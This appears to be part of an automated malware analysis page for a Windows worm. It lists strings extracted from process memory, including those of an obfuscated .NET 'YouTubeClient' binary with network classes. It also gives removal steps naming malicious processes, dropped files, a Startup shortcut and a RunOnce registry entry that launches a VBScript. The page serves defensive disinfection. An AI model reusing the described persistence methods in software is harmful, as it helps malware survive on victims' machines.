>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.
Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.
3This keyword cannot be used after a "Then" keyword.
0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.
Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.#Variable subscript badly formatted.*Subscript used on non-accessible variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.
HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.
String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.

RegSvcs.exe_1300:

.text
`.reloc
B.rsrc
{.kcb
.cw-*ur
.AH%sZ
qZ%csA
C:\Users\Piter\Documents\Visual Studio 2013\Projects\YouTubeClient\YouTubeClient\bin\Release\CryptoObfuscator_Output\YouTubeClient.pdb
v2.0.50727
YouTubeClient.exe
Microsoft.VisualBasic
System.Windows.Forms
System.Drawing
System.Core
winmm.dll
urlmon.dll
kernel32.dll
user32.dll
Microsoft.VisualBasic.ApplicationServices
WindowsFormsApplicationBase
Microsoft.VisualBasic.CompilerServices
Operators
Microsoft.VisualBasic.Devices
System.CodeDom.Compiler
System.Collections.Generic
KeyCollection
System.Collections
System.ComponentModel
HelpKeywordAttribute
System.ComponentModel.Design
System.Configuration
System.Diagnostics
System.Globalization
InvalidOperationException
System.IO
System.IO.Compression
System.Linq
System.Net
System.Net.Sockets
TcpClient
TcpListener
WebClient
NotSupportedException
System.Reflection
System.Reflection.Emit
OperandType
System.Resources
System.Runtime.CompilerServices
System.Runtime.InteropServices
DllImportAttribute
System.Security.Cryptography
System.Text
System.Threading
WebBrowser
WebBrowserDocumentCompletedEventArgs
WebBrowserDocumentCompletedEventHandler
YouTubeClient.My
.cctor
.ctor
ProcessHandle
debugPort
UrlMkSetSessionOption
get_Url
BeginAcceptTcpClient
EndAcceptTcpClient
get_Port
ContainsKey
set_Key
GetExecutingAssembly
get_Keys
get_OperandType
WebBrowserMain
8.0.0.0
My.Computer
My.Application
My.User
My.Forms
My.WebServices
System.Windows.Forms.Form
My.MyProject.Forms
4System.Web.Services.Protocols.SoapHttpClientProtocol
3System.Resources.Tools.StronglyTypedResourceBuilder
4.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
12.0.0.0
My.Settings
$4c7058df-9968-41ed-a18f-9aaf3967bff8
1.0.0.0
_CorExeMain
mscoree.dll
###),*)5
$.-*>,)%;
.GFE\
.XJ=k
:73KURLe
!52.JKHAi )&:
"3D9B94A98B-76A8-4810-B1A0-4BE7C4F9C98DA2#
PublicKeyToken=
publickeytoken=
dynamic method does not support fault clause
unexpected OperandType

RegSvcs.exe_452_rwx_01120000_00010000:

9.Ryj

RegSvcs.exe_1300_rwx_00150000_00062000:

.text
`.reloc
B.rsrc
{.kcb
.cw-*ur
.AH%sZ
qZ%csA
C:\Users\Piter\Documents\Visual Studio 2013\Projects\YouTubeClient\YouTubeClient\bin\Release\CryptoObfuscator_Output\YouTubeClient.pdb
v2.0.50727
YouTubeClient.exe
Microsoft.VisualBasic
System.Windows.Forms
System.Drawing
System.Core
winmm.dll
urlmon.dll
kernel32.dll
user32.dll
Microsoft.VisualBasic.ApplicationServices
WindowsFormsApplicationBase
Microsoft.VisualBasic.CompilerServices
Operators
Microsoft.VisualBasic.Devices
System.CodeDom.Compiler
System.Collections.Generic
KeyCollection
System.Collections
System.ComponentModel
HelpKeywordAttribute
System.ComponentModel.Design
System.Configuration
System.Diagnostics
System.Globalization
InvalidOperationException
System.IO
System.IO.Compression
System.Linq
System.Net
System.Net.Sockets
TcpClient
TcpListener
WebClient
NotSupportedException
System.Reflection
System.Reflection.Emit
OperandType
System.Resources
System.Runtime.CompilerServices
System.Runtime.InteropServices
DllImportAttribute
System.Security.Cryptography
System.Text
System.Threading
WebBrowser
WebBrowserDocumentCompletedEventArgs
WebBrowserDocumentCompletedEventHandler
YouTubeClient.My
.cctor
.ctor
ProcessHandle
debugPort
UrlMkSetSessionOption
get_Url
BeginAcceptTcpClient
EndAcceptTcpClient
get_Port
ContainsKey
set_Key
GetExecutingAssembly
get_Keys
get_OperandType
WebBrowserMain
8.0.0.0
My.Computer
My.Application
My.User
My.Forms
My.WebServices
System.Windows.Forms.Form
My.MyProject.Forms
4System.Web.Services.Protocols.SoapHttpClientProtocol
3System.Resources.Tools.StronglyTypedResourceBuilder
4.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
12.0.0.0
My.Settings
$4c7058df-9968-41ed-a18f-9aaf3967bff8
1.0.0.0
_CorExeMain
mscoree.dll
###),*)5
$.-*>,)%;
.GFE\
.XJ=k
:73KURLe
!52.JKHAi )&:
"3D9B94A98B-76A8-4810-B1A0-4BE7C4F9C98DA2#
PublicKeyToken=
publickeytoken=
dynamic method does not support fault clause
unexpected OperandType


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:1844
    file.exe:684
    frmain.exe:1708
    frmain.com:1216

  2. Delete the original Worm file.
  3. Delete or disinfect the following files created/modified by the Worm:

    %Documents and Settings%\%current user%\4fn6ym633u2\frmain.exe (31505 bytes)
    %Documents and Settings%\%current user%\4fn6ym633u2\hjdvITkwZi.ZLD (32 bytes)
    %Documents and Settings%\%current user%\4fn6ym633u2\nyspiRcH.DUF (1796 bytes)
    %Documents and Settings%\%current user%\4fn6ym633u2\wzCDMtnedxz.RHV (234461 bytes)
    %Documents and Settings%\%current user%\ml8524t246z9pn\VQPUwIWdkn.FVS (249149 bytes)
    %Documents and Settings%\%current user%\ml8524t246z9pn\RMSJF.QHL (1660 bytes)
    %Documents and Settings%\%current user%\ml8524t246z9pn\dBBLgbTqhrF.ATJ (147 bytes)
    %Documents and Settings%\%current user%\ml8524t246z9pn\frmain.com (28153 bytes)
    %Documents and Settings%\%current user%\Application Data\file.exe (134522 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\YouTubeClientDownloader\RegSvcs.exe_Url_sx0qjkjrglsavb4sbiq34g1kvzboobwf\1.0.0.0\9ws5h8uo.newcfg (1410 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\A\RegSvcs.exe_Url_sx0qjkjrglsavb4sbiq34g1kvzboobwf\1.0.0.0\ldml0hk2.newcfg (1489 bytes)
    %Documents and Settings%\%current user%\ml8524t246z9pn\run.vbs (93 bytes)
    %Documents and Settings%\%current user%\ml8524t246z9pn\90407.cmd (76 bytes)
    %Documents and Settings%\%current user%\ml8524t246z9pn\86411.vbs (135 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\Startup\start.lnk (742 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
    "ml8524t246z9pn" = "C:\DOCUME~1\"%CurrentUserName%"\ml8524t246z9pn\86411.vbs"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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